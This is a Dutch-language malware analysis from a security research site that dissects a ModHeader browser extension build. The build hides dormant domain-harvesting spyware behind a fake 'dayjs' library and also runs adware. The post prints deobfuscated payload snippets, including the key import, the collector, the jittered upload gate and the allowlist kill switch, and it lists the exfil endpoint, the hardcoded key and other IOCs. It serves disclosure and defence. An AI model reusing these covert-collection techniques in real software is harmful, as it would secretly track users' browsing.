# ModHeader-malware ontleed: de Chrome-spyware die Google verwijderde

> Deze analyse van de ModHeader-malware ontleedt de Chrome-extensie die Google verwijderde en legt slapende, versleutelde spyware bloot die domeinen verzamelt. Lees de volledige teardown.

- **URL:** https://hackindex.io/nl/research/modheader-malware-chrome-spyware
- **Published:** 2026-07-12
- **Updated:** 2026-07-14

## **ModHeader-malware ontleed: de Chrome-spyware die Google verwijderde**

**Meer dan 800.000 mensen vertrouwden deze extensie.** Toen schakelde Chrome hem op een ochtend uit en markeerde hem als malware. Google gaf echter geen reden. Er kwam geen toelichting over wat de extensie deed, en ook niet over welke data risico liep.

Die extensie is ModHeader, een populaire developertool die HTTP-headers herschrijft op elke site die je bezoekt. Een malware-flag is hier dus een serieuze zaak. Daarom haalden we de verwijderde build van de schijf en reverse-engineerden we hem. Deze ModHeader-malware-analyse behandelt de hele zaak: de verborgen pipeline, het forensisch onderzoek en de indicators of compromise.

## **TL;DR**

Eerst de korte versie. De details volgen hieronder.

- **Wat:** Een ModHeader-build (`idgpnmonknjnojddfkpgkljpfnnfcklj`, v7.0.18) bevatte een verborgen spyware-SDK. Opvallend: dat ID is de officiële ModHeader-listing, en de bestanden droegen Chrome Web Store-handtekeningen.
- **Gedrag:** Hij verzamelt de domeinen die je bezoekt. Daarna versleutelt hij de lijst met AES-GCM. Tot slot POST hij de data één keer per dag naar `api.stanfordstudies.com/app/log`.
- **Schuilplaats:** De kwaadaardige helpers zitten in een bestand met de naam `dayjs.min-*.js`. De payload doet zich met andere woorden voor als een datumlibrary.
- **Status:** De collector wordt **slapend** meegeleverd, achter een lege allowlist (`$w = []`). Toch zijn het endpoint, de sleutel en de scheduler allemaal aanwezig.
- **Command-and-control:** Er is niets om te monitoren. De upload is eenrichtingsverkeer, dus de server kan geen commando's terugsturen.
- **Ook adware:** Bovenop de spyware opent hij bij **elke update** een advertentietabblad en toont hij in-app advertenties. Dat gebeurt zelfs op beheerde enterprise-machines.
- **Bereik:** ModHeader heeft **800.000+ gebruikers** op Chrome, plus een grote gebruikersbasis op Edge. Omdat de payload meelift op de officiële listing, valt de hele installatiebasis binnen scope.
- **Recon:** De exfil-host verschuilt zich achter een nepfront "Stanford Studies - Research" en een Lark-mailbox. Daarnaast wijzen meerdere zwakke signalen op een Chineestalige operator.
- **Forensisch:** Op de onderzochte machine is de spyware **nooit afgegaan**. Wel had de extensie lokaal de volledige HTTP-headers van al het browseverkeer opgepot.

Lees verder om te zien hoe we elk van deze feiten hebben gevonden.

## **Achtergrond: waarom een ModHeader-malware-flag ertoe doet**

ModHeader is een populaire tool. Developers gebruiken hem om HTTP-request- en responseheaders aan te passen. Daarom heeft hij brede toegang tot je verkeer nodig. Die toegang is normaal voor zijn taak. Maar het maakt de extensie ook een waardevol doelwit.

Een vertrouwde extensie die als malware wordt gemarkeerd, is het interessante geval. Ofwel draagt een kloon het merk, ofwel bevat een vertrouwde extensie nu een geïnjecteerde payload. Beide patronen duiken vaak op bij supply-chain-aanvallen via browserextensies. Daarom behandelt deze ModHeader-malware-analyse de flag als een aanwijzing, niet als een vonnis.

### **Waar de bestanden staan**

De verwijderde extensie stond nog op de schijf. Het exacte pad hangt af van je browser en besturingssysteem. Op Chrome kijk je hier:

```
Chrome
  macOS   : ~/Library/Application Support/Google/Chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
  Windows : %LOCALAPPDATA%\Google\Chrome\User Data\<Profile>\Extensions\idgpnmonknjnojddfkpgkljpfnnfcklj\7.0.18_0
  Linux   : ~/.config/google-chrome/<Profile>/Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj/7.0.18_0
```

Edge levert dezelfde payload onder een ander ID. Check daar dus ook:

```
Edge (extension ID opgbiafapkbbnbnjcdomjaghbckfkglc)
  macOS   : ~/Library/Application Support/Microsoft Edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
  Windows : %LOCALAPPDATA%\Microsoft\Edge\User Data\<Profile>\Extensions\opgbiafapkbbnbnjcdomjaghbckfkglc
  Linux   : ~/.config/microsoft-edge/<Profile>/Extensions/opgbiafapkbbnbnjcdomjaghbckfkglc
```

ModHeader is niet gepubliceerd op Firefox, dus er is geen Mozilla-add-on om te checken.

## **Eerste blik: manifest en permissies**

We begonnen met het manifest. De permissies laten je snel de blast radius zien.

```json
// manifest.json (trimmed)
{
  "name": "ModHeader - Modify HTTP headers",
  "version": "7.0.18",
  "author": "modhader@",                       // note the typo
  "manifest_version": 3,
  "content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], "matches": ["<all_urls>"] }],
  "host_permissions": ["<all_urls>"],
  "permissions": ["alarms", "contextMenus", "storage", "webRequest", "declarativeNetRequest", "scripting"],
  "update_url": "https://clients2.google.com/service/update2/crx"
}
```

De set permissies is breed. Hij omvat `<all_urls>`, `webRequest`, `declarativeNetRequest`, `scripting` en een content script op elke pagina. Voor een headertool is die scope te verwachten. Toch betekent het dat een kwaadaardige build je webverkeer al in handen heeft. Opvallend: het veld `author` vermeldt `modhader@`. Die typefout komt in de code terug als `modhader-tool-root`.

## **De verklikker: een domein dat niet van de vendor is**

Vervolgens haalden we elke URL-literal uit de bundles. Dat is de snelste triagestap voor geobfusceerde code.

```bash
grep -rohE "https?://[a-zA-Z0-9._~:/?#@!$&'()*+,;=%-]+" assets | sort -u
```

De meeste resultaten wijzen naar `modheader.com`, de echte vendor. Eén host valt echter uit de toon:

- `https://api.stanfordstudies.com/app/log`

Een "Stanford studies"-domein heeft niets te zoeken in een headertool. Bovendien is `/app/log` een generiek ingest-pad. Dat werd dus de draad om aan te trekken. Die staat in één bestand: `assets/src/background-94ad634d.js`.

## **Obfuscatie: ModHeader-malware verstopt in een neppe **`dayjs`

De payload importeert zijn helpers uit wat eruitziet als de datumlibrary.

```javascript
import { e as sf, f as af, h as Za, s as u0 } from "../dayjs.min-6a736ee8.js";
```

Maar die exports hebben niets met datums te maken. Het zijn in plaats daarvan operationele spyware-helpers.

```javascript
// inside the file named dayjs.min-*.js
const cl = () => {                                   // exported as sf  ->  browser id
  const h = navigator.userAgent.toLowerCase();
  return h.indexOf("edg/") !== -1 ? "edge"
       : h.indexOf("chrome") !== -1 ? "chrome"
       : h.indexOf("firefox") !== -1 ? "firefox" : "other";
};
function fl(h) { try { return new URL(h).host } catch (i) {} }         // exported as af -> extract host
const hl = h => new Promise(i => setTimeout(i, h));                     // exported as u0 -> sleep
const vl = h => new Date(h.getFullYear(), h.getMonth(), h.getDate());  // exported as Za -> midnight
```

Dit is bewuste misleiding. Een reviewer scant de imports, ziet "dayjs" en gaat verder. Zo komen de ModHeader-malware-helpers in het volle zicht door de review.

## **Hoe de exfiltratie-pipeline van de ModHeader-malware werkt**

Het diagram hieronder toont de volledige flow, van browsen tot upload. Alle symbolen hieronder zijn de echte geminificeerde namen. Na elk blok volgt gedeobfusceerde pseudocode.

Exfiltratie-pipeline van de ModHeader-malware: domeinen verzamelen, AES-GCM-versleuteling en dagelijkse upload naar [api.stanfordstudies.com](http://api.stanfordstudies.com)

### **Stap 1: identiteit en cryptomateriaal**

Eerst zet de payload een sleutel, een endpoint en een fingerprint klaar.

```javascript
let qo; // the CryptoKey
(async () => {
  qo = await Ho.importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE");
})();

const qw = "https://api.stanfordstudies.com/app/log";
const $w = [];              // browser allowlist  (empty -> dormant)
const Yw = "mod盐header";    // fingerprint salt, note the CJK char 盐 ("salt")

const Hw = async () => {    // fp = SHA-256(current time as string)
  const r = new Date().getTime().toString();
  return await kr(r, "SHA-256");
};
```

Twee punten zijn hier belangrijk.

1. **De "versleuteling" is obfuscatie, geen bescherming.** De AES-GCM-sleutel wordt in cleartext meegeleverd. Iedereen met de extensie kan de payload dus ontsleutelen. Het enige doel is de body te verbergen voor oppervlakkige netwerkinspectie.
2. **De fingerprint is een stabiele tracking-ID.** Het is `SHA-256(Date.now())`. De code genereert hem één keer en slaat hem daarna op. Daardoor werkt hij als een willekeurige, persistente identifier.

### **Stap 2: de host van elke navigatie verzamelen**

Vervolgens registreert de collector domeinen. Hij gebruikt een versleutelde waarde als key.

```javascript
async function Zw(url) {
  const domain = af(url);                       // new URL(url).host
  if (domain === globalThis.lastChangeDomain) return;
  globalThis.lastChangeDomain = domain;
  const { settingDB, domainDB, fp, aesIv } = await jw();
  const enc = await Ho.encrypt(qo, domain, aesIv);   // AES-GCM encrypt the hostname
  const count = await domainDB.get(enc, 0);
  await domainDB.put(enc, count + 1);                // encrypted-domain -> visit count
  await Qw(domainDB, settingDB, aesIv);              // maybe upload
}
```

De store koppelt dus elke versleutelde hostname aan een teller. Kort gezegd komt de operator te weten welke sites je bezoekt en hoe vaak. Volledige URL's en paden worden hier niet verzameld. Alleen de host.

### **Stap 3: de dagelijkse upload, met jitter per fingerprint**

Daarna bepaalt de code wanneer er verstuurd wordt. Hij uploadt hooguit één keer per dag. Bovendien wacht hij op een vast uur dat uniek is voor jouw fingerprint.

```javascript
async function zw() {
  const r = await kr(`${globalThis.fp}${Yw}`, "SHA-256", 10);       // decimal digest
  const n = (Number(BigInt(r) % BigInt(60*60*8)) + 60*60*7) / 3600; // hour in [7, 15)
  const now = new Date();
  return Math.round((now - Za(now)) / 1000) / 3600 > n;             // only after this install's hour
}
```

Deze jitter is slim. Elk slachtoffer uploadt op een ander tijdstip. Daardoor is het verkeer lastiger te spotten op een netwerkmonitor. Na een geslaagde verzending wist de code de lokale store om bewijs te verwijderen.

### **Stap 4: de kill switch is een lege allowlist**

Tot slot hangt de hele keten aan de tab-lifecycle. Eén check zet hem echter volledig stil.

```javascript
chrome.tabs.onUpdated.addListener(async (r, n, i) => { await Jw(r, n, i); });

async function Jw(tab, change, info) {
  const browser = sf();
  if ($w.indexOf(browser) === -1 || change.status !== "loading") return; // <-- gate
  const url = change.url || info.url;
  if (!url) return;
  await Zw(url);                                          // record the domain
}
```

Hier is `$w` leeg. Daarom is `$w.indexOf(browser)` altijd `-1`. Daardoor doet de check altijd een return, en draait `Zw` nooit. In deze build is de collector aanwezig maar slapend. Omdat `$w` een hardcoded constante is, is voor inschakelen een nieuwe versie nodig. De echte trigger is met andere woorden een auto-update.

## **Wat de ModHeader-malware niet doet**

Precies zijn over wat ontbreekt telt ook. We controleerden dus op het ergste gedrag en vonden dat niet.

- **Geen remote code execution.** Er is geen `eval`, geen misbruik van `new Function` en geen `import("https://...")`.
- **Geen credential-diefstal in het exfil-pad.** De upload bevat hostnames, de fingerprint en het browsertype. Hij verstuurt geen cookies of pagina-inhoud.
- **Cookies worden alleen gemeten, niet verstuurd.** Een metrics-routine leest `document.cookie.length` voor een UI met een schatting van het opslaggebruik. De cookiewaarde verlaat de pagina nooit.
- **Opgevangen headers blijven lokaal.** De header-listeners schrijven naar lokale opslag voor de eigen history-weergave van de extensie.

## **Het was ook adware: advertentietabbladen bij elke update**

De spyware was slapend. De adware niet. Gebruikers meldden dat er telkens opnieuw advertentietabbladen openden, zelfs op dichtgetimmerde bedrijfsmachines. De code legt uit waarom.

Bij elke update opent de extensie geforceerd een nieuw actief tabblad naar een affiliate-netwerk.

```javascript
chrome.runtime.onInstalled.addListener(async (r) => {
  // ... also sets an uninstall URL that pings extensions-hub.com ...
  if (r.reason === "install") {
    // install tab opens only when there are no managed (enterprise) profiles
    if (!managedProfiles?.length) Jv({ url: "https://www.extensions-hub.com/partners/installed/?name=ModHeader" });
  }
  if (r.reason === "update") {
    // no such guard here, so this fires on EVERY update, managed machines included
    chrome.tabs.create({ url: "https://www.extensions-hub.com/partners/updated/?name=ModHeader", active: true });
  }
});
```

Twee dingen vallen op.

- **Elke update opent een tabblad.** Extensies updaten zichzelf stilletjes en vaak. Het advertentietabblad komt dus steeds terug, wat overeenkomt met de meldingen.
- **Enterprise-machines worden niet gespaard.** Het install-tabblad wordt overgeslagen als er beheerde profielen zijn. Bij het update-tabblad ontbreekt zo'n check echter. Daarom krijgen bedrijfsdeployments alsnog de advertentietabbladen.

Er is een tweede advertentiekanaal in de extensie zelf. De popup haalt advertentie-instellingen op bij de vendor en kan advertenties tonen of sluiten.

```
GET https://modheader.com/api/ad-settings
GET https://modheader.com/api/close-ad
```

De UI benoemt het model zelfs letterlijk: "Pausing ads temporarily. To permanently remove ads, consider Upgrade to a paid plan, or Downgrade to a limited plan to opt-out of ads."

De extensie leverde dus openlijk aangekondigde adware bovenop de verborgen spyware. De twee staan los van elkaar. De adware is zichtbaar en irritant, terwijl de spyware stil is. Samen verklaren ze zowel de klachten van gebruikers als de malware-flag.

## **Forensisch: is de ModHeader-malware ooit afgegaan?**

De IndexedDB van de extensie overleefde de verwijdering. Hij was zo'n 178 MB groot.

```
~/Library/Application Support/Google/Chrome/<Profile>/IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
```

We scanden hem dus op upload-markers.

```bash
strings -a *.ldb *.log | grep -aoiE "stanfordstudies|/app/log|lastUploadDate|uploadRecord"
```

De resultaten waren duidelijk:

- `stanfordstudies` gaf **nul hits** over alle 178 MB.
- `lastUploadDate` en `uploadRecord` gaven **nul hits**.
- De `temp`-domeinstore was praktisch leeg.

Op dit profiel heeft de collector dus nooit een domein geregistreerd en nooit iets geüpload. Dat komt exact overeen met de slapende `$w = []`-gate. Kort gezegd: je lijst met bezochte domeinen heeft de machine niet verlaten.

### **De verrassing van 178 MB: een lokale opslag vol headers**

Eén ding vulde echter wél 178 MB. De eigen "history"-functie van de extensie sloeg de volledige request- en responseheaders van elke pagina op. De dominante keys waren `requestHeaders`, `responseHeaders`, `details` en `tabStartTime`.

Deze data heeft de schijf nooit verlaten. Toch is ze gevoelig at rest. Headers bevatten vaak `Authorization`-tokens, sessiecookies en interne URL's. Wis deze store dus, ongeacht of de spyware is afgegaan.

## **Waar is de command-and-control?**

Veel lezers stellen een terechte vraag: is er een C2-kanaal om te monitoren? Kort gezegd: nee.

De upload is strikt eenrichtingsverkeer. De response-body van de `fetch` wordt nooit gelezen. Er is geen `.json()`, geen `.text()` en geen `.ok`-check op het antwoord. Bovendien zijn de operationele constanten hardcoded en worden ze nooit vanaf een server aangepast. Daarom is `api.stanfordstudies.com` een drop box, geen controller. Hij kan de extensie geen opdrachten geven.

Het echte controlekanaal is de auto-update van de extensie. Om de slapende collector live te zetten, moet een operator een nieuwe versie uitbrengen. Dat is precies de vector die de stores neutraliseren wanneer ze een extensie uit de store halen.

## **Domein-recon: is dit ModHeader-malware-endpoint echt kwaadaardig?**

We stopten niet bij de code. In plaats daarvan profileerden we het exfil-domein met passieve en actieve recon. Dit is wat de infrastructuur zelf onthult.

### `api.stanfordstudies.com`** is een vermomd exfil-endpoint**

Ten eerste is de naamgeving misleidend. Het publieke front op `www.stanfordstudies.com` draagt de titel "Stanford Studies - Research". Het heeft echter geen enkele band met Stanford University. Bovendien is de pagina een lege huls. Er is geen onderzoeksorganisatie, geen privacybeleid en geen contactgegevens. Een echt onderzoek dat data verzamelt, maakt die drie daarentegen wél openbaar.

Ten tweede gedraagt de API-host zich als een drop box, niet als een website.

- Het domein is aangemaakt op 2022-05-09 via Squarespace. De WHOIS is privacy-afgeschermd.
- De mail loopt via `larksuite.com` (Lark / Feishu). Dat wijst op een Chineestalige operator. Opvallend: dat past bij de string `盐` ("zout") die in de code is ingebakken.
- `api.stanfordstudies.com` resolvet naar één AWS EC2-host (`3.147.61.167`, regio us-east-2).
- Een probe van het root-adres liep in een timeout. De host beantwoordt dus alleen zijn ingest-pad, geen normaal webverkeer.
- Tot slot heeft urlscan.io records van precies het endpoint `api.stanfordstudies.com/app/log`. Ook zijn er scans van de host die teruggaan tot november 2023.

Alles bij elkaar is dit een verborgen ingest-endpoint, vermomd als academisch onderzoek. Daarom beoordelen we het als kwaadaardig.

### **Waar de infrastructuur vandaan komt**

Vervolgens traceerden we de hosting en de geschiedenis ervan. Het resultaat is een standaard opzet achter privacy-afscherming, met een langer verleden dan het papierwerk doet vermoeden.

- **Host.** Het endpoint draait op één AWS EC2-instance, `3.147.61.167`, met reverse DNS `ec2-3-147-61-167.us-east-2.compute.amazonaws.com`. Dat plaatst het in AWS `us-east-2` (Columbus, Ohio, AS16509 Amazon).
- **Ouder dan het lijkt.** WHOIS vermeldt een aanmaakdatum in 2022. Certificate transparency toont echter certificaten voor het domein die teruggaan tot 2017. De naam is dus ouder dan de huidige registratie, wat wijst op een herregistratie of een eigendomswissel.
- **Nog steeds live.** Het nieuwste certificaat is uitgegeven in maart 2026. Ondertussen registreerde urlscan.io het `/app/log`-endpoint tot in 2025 en opnieuw in juli 2026.
- **Een echte operatie.** Naast `api` en `www` heeft het domein de subdomeinen `dev`, `devlog` en `devos`. Dat is een onderhouden dev- en ops-opzet, geen wegwerpdomein.

Toch is de registrar-WHOIS privacy-afgeschermd, en draaien de servers op gedeelde AWS-ranges. Het spoor houdt daarom op vlak voor een naam.

### **Supply-chain-context: dit is het officiële ModHeader-ID**

Eén detail maakt de zaak ernstiger. Het extensie-ID `idgpnmonknjnojddfkpgkljpfnnfcklj` is de officiële ModHeader-listing, met meer dan 800.000 gebruikers. Bovendien werd de build geleverd met Chrome Web Store-handtekeningen (`_metadata/verified_contents.json`). Omdat Chrome weigert gemanipuleerde bestanden te draaien, is de geanalyseerde code de gesigneerde distributie, geen lokaal aangepaste kloon.

We kunnen echter niet uit de binary alleen bewijzen wie de payload heeft toegevoegd. Het kan gaan om een eigendomsoverdracht, een geïnjecteerde monetization-SDK of een beslissing van de vendor. Dat patroon is in de sector uitgebreid gedocumenteerd. Daarom presenteren we het bewijs en laten we de vraag naar het auteurschap open.

### **Oordeel per domein**

| **Domein** | **Rol in de ModHeader-malware** | **Infrastructuur** | **Oordeel** |
| --- | --- | --- | --- |
| `api.stanfordstudies.com` | Ingest voor versleutelde domein-harvesting | AWS EC2, root onbereikbaar, "Stanford"-vermomming, Lark-mail | **Kwaadaardig** |
| `www.extensions-hub.com` | Adware: advertentietabblad geopend bij elke update | AWS S3 + CloudFront, affiliate-SaaS, gedeeld door meerdere extensies | Privacyschendende adware |
| `modheader.com` | Cloud-sync van de vendor (ter vergelijking) | AWS + Google Workspace, transparant | Legitiem |

## **Bereik en attributie: wie loopt risico, en wie zit erachter?**

### **Hoeveel gebruikers risico lopen**

De blast radius is groot, omdat dit de hoofdlisting is. Hij beslaat bovendien twee browsers.

- **Chrome:** 800.000+ installaties, gepubliceerd onder "ModHeader".
- **Edge:** dezelfde extensie wordt geleverd onder ID `opgbiafapkbbnbnjcdomjaghbckfkglc`, met een eigen grote installatiebasis. Microsoft verwijderde hem op 2026-07-03 uit de Edge Add-ons-store.
- **Firefox:** er bestaat geen officiële ModHeader-add-on, dus Firefox-gebruikers zijn niet getroffen.
- **Beoordeling:** 2,91 sterren uit 1.226 stemmen. Dat is ongewoon laag voor een dev-tool die al zo lang bestaat.
- **Vermelde talen:** Engels en Vereenvoudigd Chinees (`zh-CN`).
- **Laatste listing-update:** 2026-07-01, wat overeenkomt met de geanalyseerde v7.0.18-build.

De lage beoordeling is geen toeval. Recente reviews markeren de extensie al vanwege adware-gedrag en affiliate-advertenties. Die advertenties zijn echter openlijk aangekondigd, en de extensie biedt een opt-out. Ze vormen dus een aparte, zichtbare klacht. De `stanfordstudies.com`-collector is het tegenovergestelde. Hij is verborgen, versleuteld en biedt geen melding en geen opt-out. Haal de twee dus niet door elkaar: de aangekondigde advertenties zijn een vertrouwensprobleem, terwijl de verborgen domein-harvesting de echte spyware is.

### **Signalen over de threat actor (lage zekerheid)**

We kunnen de operator maar losjes schetsen. Belangrijk: we noemen geen groep, en geen van deze signalen is bewijs.

- **Mail op Lark.** Het exfil-domein routeert e-mail via `larksuite.com` (Lark / Feishu), een suite die veel voorkomt bij Chineestalige teams.
- **Een Chinese string in de code.** De fingerprint-salt bevat het teken `盐`, wat "zout" betekent.
- **Chineestalig oppervlak.** De listing levert een Vereenvoudigd-Chinese locale mee, en het content script maakt een uitzondering voor `baidu.com`.
- **Een false-flag-front.** De "Stanford Studies"-pagina leent de naam van een vertrouwde Amerikaanse universiteit. Dat is duidelijk misleiding, geen echte affiliatie.

Bij elkaar wijzen deze signalen zwak richting een Chineestalige operator. Toch draait de infrastructuur op AWS en is de WHOIS privacy-afgeschermd. Daarom kunnen we het op basis van alleen open bronnen niet aan een specifieke actor koppelen.

## **Impactbeoordeling**

Hier is het risico in één oogopslag.

| **Vector** | **Status in v7.0.18** | **Blootgestelde data** | **Ernst** |
| --- | --- | --- | --- |
| Domein-harvesting naar `stanfordstudies.com` | Slapend; nooit afgegaan | Bezochte hostnames, fingerprint, browser | Hoog qua mogelijkheden |
| Advertentietabbladen + in-app advertenties | Actief | Nieuw tabblad bij elke update, incl. beheerde machines | Gemiddeld (ongewenst) |
| Lokale headergeschiedenis | Actief, alleen lokaal | Volledige headers van al het browseverkeer | Gemiddeld at rest |
| Bereik van de permissies | Aanwezig | Al het HTTP-verkeer lezen/wijzigen | Hoog potentieel |

In gewone taal: op deze machine is niets geëxfiltreerd. Toch bevatte de ModHeader-malware een complete spyware-pipeline, inclusief sleutel en endpoint. Er was maar één codewijziging nodig om hem te activeren. Ondertussen sloeg hij lokaal gevoelige headerdata op. Die combinatie is een redelijke basis voor een takedown.

## **Detectie en remediatie**

### **Als je een getroffen gebruiker bent**

Volg deze stappen in volgorde.

1. Bevestig dat de browser de extensie heeft uitgeschakeld. Chrome en Edge doen dit meestal automatisch.
2. Verwijder de achtergebleven opslagmappen die hieronder staan.
3. Blokkeer en log DNS voor `api.stanfordstudies.com`.
4. Installeer een headertool alleen opnieuw vanuit een bron die je vertrouwt.

```
Extensions/idgpnmonknjnojddfkpgkljpfnnfcklj
IndexedDB/chrome-extension_idgpnmonknjnojddfkpgkljpfnnfcklj_0.indexeddb.leveldb
Local Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Sync Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
Managed Extension Settings/idgpnmonknjnojddfkpgkljpfnnfcklj
```

Op Edge staan dezelfde mappen onder `Microsoft Edge/` in plaats van `Google/Chrome/`, en is het extensie-ID `opgbiafapkbbnbnjcdomjaghbckfkglc`.

### **Als je een fleet verdedigt**

Gebruik deze hunts en heuristieken.

- Grep uitgepakte extensiemappen op de IOC-strings hieronder.
- Geef een alert bij elke extensie die een ondoorzichtige, versleutelde body POST naar een domein dat niet van de vendor is.
- Markeer operationele helpers die worden geëxporteerd uit een vendored library-bestand als code smell.

## **Indicators of Compromise**

Gebruik deze IOC's om elders naar dezelfde ModHeader-malware-SDK te zoeken.

**Netwerk**

```
api.stanfordstudies.com          (spyware exfil: POST /app/log)
www.extensions-hub.com           (adware: ad tab opened on every update)
modheader.com/api/ad-settings    (adware: in-app ad config)
```

**Extensie**

```
Chrome ID  : idgpnmonknjnojddfkpgkljpfnnfcklj
Edge ID    : opgbiafapkbbnbnjcdomjaghbckfkglc
Firefox    : no official ModHeader add-on on AMO
Name       : ModHeader - Modify HTTP headers
Version    : 7.0.18
```

**Statische strings**

```
Hardcoded AES-GCM key : aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE
Fingerprint salt      : mod盐header   (contains U+76D0 盐)
Exfil endpoint        : https://api.stanfordstudies.com/app/log
```

**Bestanden (Vite-hashes van deze build)**

```
assets/src/background-94ad634d.js    (payload)
assets/dayjs.min-6a736ee8.js         (disguised helpers)
```

## **Symbooltabel**

Ter referentie: dit is de vertaling van geminificeerde namen naar hun betekenis.

| **Geminificeerd** | **Betekenis** |
| --- | --- |
| `qw` | exfil-URL `api.stanfordstudies.com/app/log` |
| `$w` | browser-allowlist-gate (leeg = slapend) |
| `Yw` | fingerprint-salt `mod盐header` |
| `qo` | geïmporteerde AES-GCM-sleutel |
| `Hw` | `fp = SHA-256(Date.now())` installatie-ID |
| `Zw` | registreert een bezocht domein |
| `Qw` | uploadbeslissing + wissen na succes |
| `zw` | tijdstip-gate per fingerprint |
| `sf` / `af` / `Za` / `u0` | browser-id / host / middernacht / sleep |

## **Verder lezen**

Voor bredere context over hoe vertrouwde extensies vijandig worden, zie de volgende externe rapporten.

- [Chrome Extension Turns Malicious After Ownership Transfer (The Hacker News)](https://thehackernews.com/2026/03/chrome-extension-turns-malicious-after.html)
- [Browser extensions pushed malware to 4.3M Chrome and Edge users (The Register)](https://www.theregister.com/2025/12/01/chrome_edge_malicious_browser_extensions/)
- [Extension developers sell the data of at least 6.5M users (LayerX)](https://layerxsecurity.com/blog/your-extensions-sell-your-data-and-its-perfectly-legal/)
- [A study on malicious browser extensions in 2025 (arXiv)](https://arxiv.org/html/2503.04292v2)

*Deze analyse bestaat uit statisch onderzoek plus on-disk-forensisch onderzoek van één geïnstalleerde build. We claimen geen attributie. Kun je bevestigen of de officiële Web Store precies deze build heeft geleverd? Neem dan contact op met HackIndex Research.*
